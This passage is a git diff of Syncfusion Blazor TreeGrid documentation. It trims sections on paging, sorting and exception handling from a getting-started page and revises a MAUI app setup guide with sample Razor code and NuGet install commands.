-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-In the above code example, the [Self-Referential](https://blazor.syncfusion.com/documentation/treegrid/data-binding#self-referential-data-bindingflat-data) data binding is represented in which the `IdMapping` and `ParentIdMapping` properties denotes the hierarchy relationship; whereas in [Hierarchical](https://blazor.syncfusion.com/documentation/treegrid/data-binding#hierarchy-data-binding) data binding [ChildMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_ChildMapping) denotes the hierarchy relationship.
-
-## Enable paging
-
-The paging feature enables users to view the tree grid record in a paged view. It can be enabled by setting the  [AllowPaging](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_AllowPaging) property to true. The pager can be customized using the [PageSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_PageSettings) property.
-
-In root-level paging mode, paging is based on the root-level rows only, i.e., it ignores the child row count and it can be enabled by using the [PageSettings.PageSizeMode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridPageSettings.html#Syncfusion_Blazor_TreeGrid_TreeGridPageSettings_PageSizeMode) property.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1" AllowPaging="true">
-    <TreeGridPageSettings PageSizeMode="PageSizeMode.Root" PageSize="2"></TreeGridPageSettings>
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Priority" HeaderText="Priority" Width="80"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
-
-@code{
-
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int Duration { get; set; }
-        public int Progress { get; set; }
-        public string Priority { get; set; }
-        public int? ParentId { get; set; }
-    }
-
-    public List<BusinessObject> TreeData = new List<BusinessObject>();
-
-    protected override void OnInitialized()
-    {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Enable sorting
-
-The sorting feature enables to order the records. It can be enabled by setting the  [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_AllowSorting) property to `true`.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1" AllowPaging="true" AllowSorting="true">
-    <TreeGridPageSettings PageSizeMode="PageSizeMode.Root" PageSize="2"></TreeGridPageSettings>
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Priority" HeaderText="Priority" Width="80"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
-
-@code{
-
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int Duration { get; set; }
-        public int Progress { get; set; }
-        public string Priority { get; set; }
-        public int? ParentId { get; set; }
-    }
-
-    public List<BusinessObject> TreeData = new List<BusinessObject>();
-
-    protected override void OnInitialized()
-    {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtLzNMKDzGDJVWCD?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeGrid](images/blazor-treegrid.webp)" %}
-
-## Handling exceptions
-
-Exception handling in Tree Grid identifies exceptions and notifies them through the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridEvents-1.html#Syncfusion_Blazor_TreeGrid_TreeGridEvents_1_OnActionFailure) event. When configuring the Tree Grid or enabling specific features through its API, mistakes can occur. The `OnActionFailure` event can be used to manage these exceptions. This event triggers when such mistakes happen. The `OnActionFailure` event handles various scenarios, including:
-
-* For CRUD operations, row drag and drop, and persisting the selection, ensure the [IsPrimaryKey](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_IsPrimaryKey) property is mapped to a unique data column. Failure to do so will cause an exception.
-* [Paging](https://blazor.syncfusion.com/documentation/treegrid/paging) is not supported with [Virtualization](https://blazor.syncfusion.com/documentation/treegrid/virtualization). Enabling `Paging` with `Virtualization` will result in an exception.
-* To render the Tree Grid, map either the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_DataSource) or [Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_Columns) property. Failure to do so will result in an exception.
-* Freeze columns by mapping either [IsFrozen](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_IsFrozen) or [FrozenColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_FrozenColumns). Enabling both properties simultaneously will result in an exception.
-* The [DetailTemplate](https://blazor.syncfusion.com/documentation/treegrid/rows/detail-template) is not supported with `Virtualization` and `Stacked Header`. Enabling them with these features will result in an exception.
-
-* The [FrozenRows](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_FrozenRows) and `FrozenColumns` are not supported with [RowTemplate](https://blazor.syncfusion.com/documentation/treegrid/rows/row-template), `DetailTemplate`, and [Cell Editing](https://blazor.syncfusion.com/documentation/treegrid/editing/cell-editing). Enabling them with these features will result in an exception.
-
-* In `Stacked Header`, the [Freeze](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_Freeze) direction is incompatible with [Column Reordering](https://blazor.syncfusion.com/documentation/treegrid/columns/column-reorder).  
-* [Selection](https://blazor.syncfusion.com/documentation/treegrid/selection) functionality is not supported when using `RowTemplate`. Enabling both properties simultaneously will result in an exception.
-* Set the [TreeColumnIndex](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_TreeColumnIndex) value to display the tree structure. Make sure the value does not exceed the total column count, or it will result in an exception.
-* For `Virtualization`, do not specify height and width in percentages. Using percentages will result in an error.
-* When using the default filter ([FilterBar](https://blazor.syncfusion.com/documentation/treegrid/filtering/filter-bar)) type, do not apply the other [FilterType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.FilterType.html) to columns within the same tree grid, as this will result in an exception.
-* In Tree Grid, avoid enabling [IdMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_IdMapping) and [ChildMapping](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.SfTreeGrid-1.html#Syncfusion_Blazor_TreeGrid_SfTreeGrid_1_ChildMapping) simultaneously. Enabling both properties at the same time will result in an exception.
-* The [ShowCheckbox](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_ShowCheckbox) column should only be defined in the tree column. Defining it elsewhere will result in an exception.
-* The [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_TextAlign) right is not applicable for tree columns in the Tree Grid.  Enabling right alignment for tree columns will result in an exception.
-
-The following code example shows how to use the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridEvents-1.html#Syncfusion_Blazor_TreeGrid_TreeGridEvents_1_OnActionFailure) event in the Tree Grid control to display an exception when `IsPrimaryKey`are not configured properly in the Tree Grid.
+N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
 @using Syncfusion.Blazor.TreeGrid;
-@using Syncfusion.Blazor.Data;
 
- <span class="error">@ErrorDetails</span>
 <SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
-    <TreeGridEditSettings AllowEditing></TreeGridEditSettings>
-    <TreeGridEvents TValue="BusinessObject" OnActionFailure="ActionFailure"></TreeGridEvents>
     <TreeGridColumns>
         <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
         <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
         <TreeGridColumn Field="StartDate" HeaderText="Start Date" Format="d" Type="Syncfusion.Blazor.Grids.ColumnType.DateOnly" Width="152" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
         <TreeGridColumn Field="StartTime" HeaderText="Start Time" Type="Syncfusion.Blazor.Grids.ColumnType.TimeOnly" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
     </TreeGridColumns>
 </SfTreeGrid>
-<style>
-    .error {
-        color: red;
-    }
-</style>
 
 @code{
-
-    private string ErrorDetails = "";
-    public class BusinessObject
+   public class BusinessObject
     {
         public int TaskId { get; set; }
         public string TaskName { get; set; }
@@ -425,12 +192,6 @@ The following code example shows how to use the [OnActionFailure](https://help.s
         public int? ParentId { get; set; }
     }
 
-    public void ActionFailure(Syncfusion.Blazor.Grids.FailureEventArgs args)
-    {
-        this.ErrorDetails = args.Error.Message.ToString();
-        StateHasChanged();
-    }
-
     public List<BusinessObject> TreeData = new List<BusinessObject>();
 
     protected override void OnInitialized()
@@ -440,30 +201,21 @@ The following code example shows how to use the [OnActionFailure](https://help.s
         TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", StartDate = new DateOnly(2021, 03, 06), StartTime = new TimeOnly(12, 00, 00), Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
         TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", StartDate = new DateOnly(2021, 03, 08), StartTime = new TimeOnly(13, 30, 00), Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
         TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", StartDate = new DateOnly(2021, 07, 10), StartTime = new TimeOnly(14, 00, 00), Duration = 9, Progress = 25, ParentId = 4, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", StartDate = new DateOnly(2021, 10, 12), StartTime = new TimeOnly(16, 00, 00), Duration = 9, Progress = 7, ParentId = 5, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 7, TaskName = "Parent Task 3", StartDate = new DateOnly(2021, 10, 14), StartTime = new TimeOnly(17, 30, 00), Duration = 4, Progress = 45, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 8, TaskName = "Child Task 7", StartDate = new DateOnly(2021, 10, 16), StartTime = new TimeOnly(18, 00, 00), Duration = 3, Progress = 38, ParentId = 7, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 9, TaskName = "Child Task 8", StartDate = new DateOnly(2021, 02, 18), StartTime = new TimeOnly(19, 30, 00), Duration = 7, Progress = 70, ParentId = 7, Priority = "Low" });
+        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", StartDate = new DateOnly(2021, 10, 12), StartTime = new TimeOnly(16, 00, 00), Duration = 9, Progress = 7, ParentId = 4, Priority = "Normal" });
     }
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXBIMtXaTweQwBMx?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
+**Run the Application**
 
-## See also
+* **Visual Studio** → <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the **application**. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component in the default web browser.
+ 
+* **VS Code / CLI** → Run **dotnet run** in the project directory using the terminal. This will build and launch the application, and you can open the displayed localhost URL in your browser to view the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component.
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-dotnet-cli)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-visual-studio)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-dotnet-cli)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> JavaScript documentation](https://ej2.syncfusion.com/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> JavaScript (ES5) documentation](https://ej2.syncfusion.com/javascript/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Angular documentation](https://ej2.syncfusion.com/angular/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> React documentation](https://ej2.syncfusion.com/react/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Vue documentation](https://ej2.syncfusion.com/vue/documentation/treegrid/getting-started)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> ASP.NET Core documentation](https://ej2.syncfusion.com/aspnetcore/documentation/tree-grid/getting-started-core)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> ASP.NET MVC documentation](https://ej2.syncfusion.com/aspnetmvc/documentation/tree-grid/getting-started-mvc)
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZLxtSsPSYTTRmob?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
 
+N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/TreeGrid).
 
 
diff --git a/blazor/treegrid/getting-started-with-maui-app.md b/blazor/treegrid/getting-started-with-maui-app.md
index 5eb8650da7..577cf6a93b 100644
--- a/blazor/treegrid/getting-started-with-maui-app.md
+++ b/blazor/treegrid/getting-started-with-maui-app.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor TreeGrid in Blazor MAUI App
 
-This section explains you through the step-by-step process of integrating the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component into your Blazor MAUI application using both Visual Studio and Visual Studio Code.
+This section explains you through the step-by-step process of integrating the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid](https://www.syncfusion.com/blazor-components/blazor-tree-grid) component in your Blazor MAUI App using both [Visual Studio](https://visualstudio.microsoft.com/vs/) and [Visual Studio Code](https://code.visualstudio.com/).
 
 {% tabcontents %}
 
@@ -21,22 +21,7 @@ To use the MAUI project templates, install the Mobile development with the .NET
 
 ## Create a new Blazor MAUI App in Visual Studio
 
-You can create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid and Themes NuGet in the app
-
-To add **Blazor TreeGrid**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.TreeGrid](https://www.nuget.org/packages/Syncfusion.Blazor.TreeGrid) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.TreeGrid -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
+Create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
 {% endtabcontent %}
 
@@ -48,361 +33,112 @@ To use the MAUI project templates, install the Mobile development with the .NET
 
 ## Create a new Blazor MAUI App in Visual Studio Code
 
-You can create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
+Create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-## Install Blazor TreeGrid and Themes NuGet in the App
-
-To add **Blazor TreeGrid**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.TreeGrid](https://www.nuget.org/packages/Syncfusion.Blazor.TreeGrid) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
+Alternatively, create a MAUI application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
+{% highlight c# tabtitle="Blazor MAUI App" %}
 
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.TreeGrid -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
+dotnet new maui-blazor -o MauiBlazorApp
+cd MauiBlazorApp
 
 {% endhighlight %}
-
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% endtabcontents %}
 
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.TreeGrid` namespace.
-
-{% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
-
-@using Syncfusion.Blazor 
-@using Syncfusion.Blazor.TreeGrid
-
-{% endhighlight %}
-{% endtabs %}
-
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
-
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/MauiProgram.cs** file.
-
-{% tabs %}
-{% highlight c# tabtitle="~/MauiProgram.cs" hl_lines="2 19" %}
-
-using Microsoft.Extensions.Logging;
-using Syncfusion.Blazor;
-
-namespace MauiBlazorWindow;
-
-    public static class MauiProgram
-    {
-        public static MauiApp CreateMauiApp()
-        {
-            var builder = MauiApp.CreateBuilder();
-            builder
-                .UseMauiApp<App>()
-                .ConfigureFonts(fonts =>
-                {
-                    fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
-                });
-
-            builder.Services.AddMauiBlazorWebView();
-            builder.Services.AddSyncfusionBlazor();
-#if DEBUG
-            builder.Services.AddBlazorWebViewDeveloperTools();
-            builder.Logging.AddDebug();
-#endif
-
-            return builder.Build();
-        }
-    }
-
-{% endhighlight %}
-{% endtabs %}
-
-## Add stylesheet and script resources
-
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the `<head>` section of the **~/index.html** file.
-
-```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor TreeGrid Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.TreeGrid/scripts/sf-treegrid.min.js" type="text/javascript"></script> -->
-</head>
-```
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-## Add Blazor TreeGrid component
+Install [Syncfusion.Blazor.TreeGrid](https://www.nuget.org/packages/Syncfusion.Blazor.TreeGrid/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component in the **~/Pages/Index.razor** file.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight razor %}
-
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="5" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="30" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
-
-@code
-{
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int? ParentId { get; set; }
-    }
-
-    public List<BusinessObject> TreeData = new List<BusinessObject>();
+{% highlight C# tabtitle="Package Manager" %}
 
-    protected override void OnInitialized()
-    {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", ParentId = null });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", ParentId = 1 });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", ParentId = 1, });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", ParentId = null });
-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", ParentId = 4 });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", ParentId = 5 });
-    }
-}
+Install-Package Syncfusion.Blazor.TreeGrid -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-### How to Run the Sample on Windows
-
-Run the sample in Windows Machine mode, and it will run Blazor MAUI in Windows.
-
-![Blazor TreeGrid Component](images/blazor-treegrid-maui-app.webp)
-
-### How to Run the Sample on Android
-
-To run the Blazor DataGrid in a Blazor Android MAUI application using the Android emulator, follow these steps:
-
-Refer [here](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/device-manager#android-device-manager-on-windows) to install and launch Android emulator.
-
